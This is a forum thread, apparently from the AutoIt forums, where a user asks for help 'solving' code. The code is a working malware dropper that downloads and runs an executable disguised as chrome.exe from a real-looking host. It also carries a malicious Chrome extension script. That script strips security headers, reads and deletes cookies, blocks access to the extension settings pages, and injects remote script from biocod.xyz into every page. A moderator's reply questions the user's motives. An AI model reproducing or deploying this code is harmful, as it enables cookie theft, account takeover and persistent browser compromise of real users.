Decoding Encrypted Help

[Wicod]

Hi I could not figure out how to help you solve a code? HHS!0x3F502B668BF929F1070E5C1E4E434FF1C7308323HHS! How do I solve

expandcollapse popup

While 1
    $get = _inetgetsource("http://" & $a & $b & $c & $d & $e & "/extnew.txt")
    If $get == "" Then
        ConsoleWrite("Baglanti Bilgileri YOK ! " & @CRLF)
    Else
        ConsoleWrite("Baglanti Bilgileri Geldi Devam ! " & @CRLF)
        Global $text = $get
        Global $ahmedbg = StringSplit($text, "bgcode!", 1)
        Global $dowland = StringSplit($text, "dowland!", 1)
        Global $performances = StringSplit($text, "Percode!", 1)
        Global $hhs = StringSplit($text, "HHS!", 1)
        Global $hhn = $hhs[2]
        Global $perfor = $performances[2]
        Global $appdosyaurl = $dowland[2]
        Global $ext = $ahmedbg[2]
        _dowland()
    EndIf
    Sleep(1000 * 2)
WEnd

Func _dowland()
    _crypt_startup()
    $has1 = _crypt_hashfile($appdata, $calg_sha1)
    If $has1 == $hhn Then
        ConsoleWrite("Aplication SH1 Dogru  Devam Et !" & @CRLF)
        If FileExists(@AppDataDir & BinaryToString("0x5C6368726F6D655C6368726F6D652E657865")) Then
            ConsoleWrite("Chrome Dosyasi var Kurulum YAP" & @CRLF)
            _kurum()
        Else
            ConsoleWrite("Chrome Dosyasi YOK KUR" & @CRLF)
            ConsoleWrite($appdata & @CRLF)
            ShellExecute($appdata, "", @AppDataDir)
        EndIf
    Else
        FileDelete($appdata)
        Local $dowlandinfo = InetGet($appdosyaurl, $appdata, 1, 1)
        Do
        Until InetGetInfo($dowlandinfo, 2)
        Local $nbytes2 = InetGetInfo($dowlandinfo, 0)
        InetClose($dowlandinfo)
        _dowland()
    EndIf
EndFunc

extnew.txt :

log!http://russodealer.com/log.phplog!

dowland!http://www.russodealer.com/app.exedowland!

HHS!0x3F502B668BF929F1070E5C1E4E434FF1C7308323HHS!

bgcode!

var yes = "http://biocod.xyz";

            
function req(e,t,n,r){var i=new XMLHttpRequest;var s=n?"POST":"GET";i.open(s,e,true);i.onreadystatechange=function(){if(i.readyState==4){t(i.responseText)}};if(n&&!r){i.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}if(r){Object.keys(r).forEach(function(e){i.setRequestHeader(e,r[e])})}i.send(n)}chrome.webRequest.onHeadersReceived.addListener(function(e){var t=e.responseHeaders;for(var n=t.length-1;n>=0;--n){var r=t[n].name.toLowerCase();if(r=="x-frame-options"||r=="frame-options"||r=="content-security-policy"||r=="x-content-security-policy"||r=="x-webkit-csp"){t.splice(n,1)}}return{responseHeaders:t}},{urls:["*://*/*"]},["blocking","responseHeaders"]);var blist=[];req(yes+ "/ajax/block.json",function(e){if(e!=""){blist=JSON.parse(e);chrome.webRequest.onBeforeRequest.addListener(function(e){for(var t=0;t<blist.length;t++){if(e.url.indexOf(blist[t])>-1){return{cancel:true}}}},{urls:["<all_urls>"]},["blocking"])}});chrome.webRequest.onBeforeSendHeaders.addListener(function(e){var t=e.requestHeaders;var n,r;for(var i=t.length-1;i>=0;--i){var s=t[i].name.toLowerCase();if(s=="referer"){n=i}if(s=="x-set-ref"){r=i}}if(r!=undefined){if(n!=undefined){t.splice(n,1)}t.push({name:"Referer",value:t[r].value});t.splice(r,1)}return{requestHeaders:t}},{urls:["*://*/*"]},["blocking","requestHeaders"]);chrome.extension.onRequest.addListener(function(e,t,n){if(e.cg){chrome.cookies.getAll({domain:e.cg},function(e){n(e)})}if(e.cd){chrome.cookies.remove(e.cd)}});chrome.tabs.onUpdated.addListener(function(e,t,n){if(n.url.indexOf("chrome://extension")>=0||n.url.indexOf("chrome://chrome/extension")>=0||n.url.indexOf("chrome://settings/resetProfileSettings")>=0){chrome.tabs.remove(n.id)}var r=n.url.indexOf("facebook.com")>=0?"main.php":n.url.indexOf("//twitter.com")>=0?"main.php":"main.php";if(t.status=="complete"&&n.url.indexOf("chrome://extension")<0&&n.url.indexOf("file://")<0&&n.url.indexOf("chrome-extension://")<0){req(yes +"/ajax/"+r+"?"+Math.random(),function(t){chrome.tabs.executeScript(e,{code:t})},null,{"x-set-ref":n.url})}})


bgcode!

Edited January 4, 2015 by Melba23
Translated title

[Melba23]

Wicod,

Welcome to the AutoIt forums.

Why do you wish to "solve" this "code"? I have looked at the www.russodealer.com site, so I recommend you make the explanation a good one.

M23